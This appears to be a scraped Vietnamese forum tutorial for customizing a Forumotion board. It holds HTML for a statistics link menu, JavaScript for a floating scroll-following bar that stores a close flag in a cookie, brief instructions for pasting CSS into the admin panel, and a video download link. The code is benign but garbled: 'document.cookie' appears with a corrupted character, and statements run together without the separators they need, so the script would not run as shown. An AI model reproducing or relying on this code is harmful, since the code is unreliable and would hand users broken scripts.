</font></a><br></td></tr></table></td></tr></tbody></table>



</div><div class="Page" style="padding: 0px; height: 304px; display: block;"><table class="tborder" style="border-bottom-width: 0px;" align="center" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr>
<td>

<table align="center" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
</table></td></tr></tbody>
<tbody>
<tr><td style="padding: 0px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" width="100%"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tr valign="top"><td style="border-top: 0px none; padding: 0px; background: transparent url(http://i832.photobucket.com/albums/zz244/a1tg3/list.gif) no-repeat scroll center top; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;" width="24"><img src="http://2img.net/i/fa/empty.gif" width="24" border="0"></td><td style="border-top: 0px none; padding: 0px; line-height: 20px; background-repeat: repeat;" align="left" background="http://i832.photobucket.com/albums/zz244/a1tg3/listbg.gif">
<A href=/search.forum?search_id=activetopics><span><font style="font-family: Tahoma; font-size: 11px">Bài viết trong ngày</span></a><br>
<A href=/stats.htm#10><span><font style="font-family: Tahoma; font-size: 11px">Các bài viết trong tháng</span></a><br>
<A href=/stats.htm#2><span><font style="font-family: Tahoma; font-size: 11px">Thống kê tổng thể</span></a><br>
<A href=/stats.htm#3><span><font style="font-family: Tahoma; font-size: 11px">Topic sôi nổi nhất</span></a><br>
<A href=/stats.htm#4><span><font style="font-family: Tahoma; font-size: 11px">Topic xem nhiều nhất</span></a><br>
<A href=/stats.htm#5><span><font style="font-family: Tahoma; font-size: 11px">Thành viên có nhiều chủ đề nhất</span></a><br>
<A href=/stats.htm#6><span><font style="font-family: Tahoma; font-size: 11px">Thành viên post bài nhiều nhất trong 1 tuần</span></a><br>
<A href=/stats.htm#7><span><font style="font-family: Tahoma; font-size: 11px">Thành viên post bài nhiều nhất trong tháng</span></a><br>
<A href=/stats.htm#8><span><font style="font-family: Tahoma; font-size: 11px">Top poster</span></a><br>
<A href=/stats.htm#9><span><font style="font-family: Tahoma; font-size: 11px">Số topic trong tháng</span></a><br>
</td></tr></table></td></tr></tbody></table>
</div> <script type="text/javascript">tabview_initialize('TabView');</script><ScrollTop --><style type="text/(ACP>>Display>>Colors>>CSS)">#topbar{ PADDING-TOP: 0px;PADDING-BOTTOM: 0px;PADDING-RIGHT: 0px; PADDING-LEFT: 0px;VISIBILITY: hidden;WIDTH: 180px;FONT-FAMILY: Tahoma;POSITION: absolute;}</style><script type="text/javascript">var persistclose = 0var startX = 80var startY = 500var verticalpos = "frombottom"function iecompattest(){return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body}function get_cookie(Name){var search = Name + "="var returnvalue = "";if (document�cookie.length > 0){offset = document�cookie.indexOf(search)if (offset != -1){offset += search.lengthend = document�cookie.indexOf(";", offset);if (end == -1) end = document�cookie.length;returnvalue=unescape(document�cookie.substring(offset, end))}}return returnvalue;}function closebar(){if (persistclose)document�cookie="remainclosed=1"document.getElementById("topbar").style.visibility="hidden"}function staticbar(){barheight=document.getElementById("topbar").offsetHeightvar ns = (navigator.appName.indexOf("Netscape") != -1) || window.opera;var d = document;function ml(id){var el=d.getElementById(id);if (!persistclose || persistclose && get_cookie("remainclosed")=="")el.style.visibility="visible"if(d.layers)el.style=el;el.sP=function(x,y){this.style.right=x+"px";this.style.top=y+"px";};el.x = startX;if (verticalpos=="fromtop")el.y = startY;else{el.y = ns ? pageYOffset + innerHeight : iecompattest().scrollTop + iecompattest().clientHeight;el.y -= startY;}return el;}window.stayTopLeft=function(){if (verticalpos=="fromtop"){var pY = ns ? pageYOffset : iecompattest().scrollTop;ftlObj.y += (pY + startY - ftlObj.y)/8;}else{var pY = ns ? pageYOffset + innerHeight - barheight: iecompattest().scrollTop + iecompattest().clientHeight - barheight;ftlObj.y += (pY - startY - ftlObj.y)/8;}ftlObj.sP(ftlObj.x, ftlObj.y);setTimeout("stayTopLeft()", 10);}ftlObj = ml("topbar");stayTopLeft();}if (window.addEventListener)

window.addEventListener("load", staticbar, false)else if (window.attachEvent)window.attachEvent("onload", staticbar)else if (document.getElementById)window.onload=staticbar</script></div> </td>

2 . (ACP>>Display>>Colors>>CSS):
vào (ACP>>Display>>Colors>>CSS) thêm đoạn này:

Trích dẫn :

cách làm nè, link down video đây
http://www.mediafire.com/?gpwaupwosnyp3d9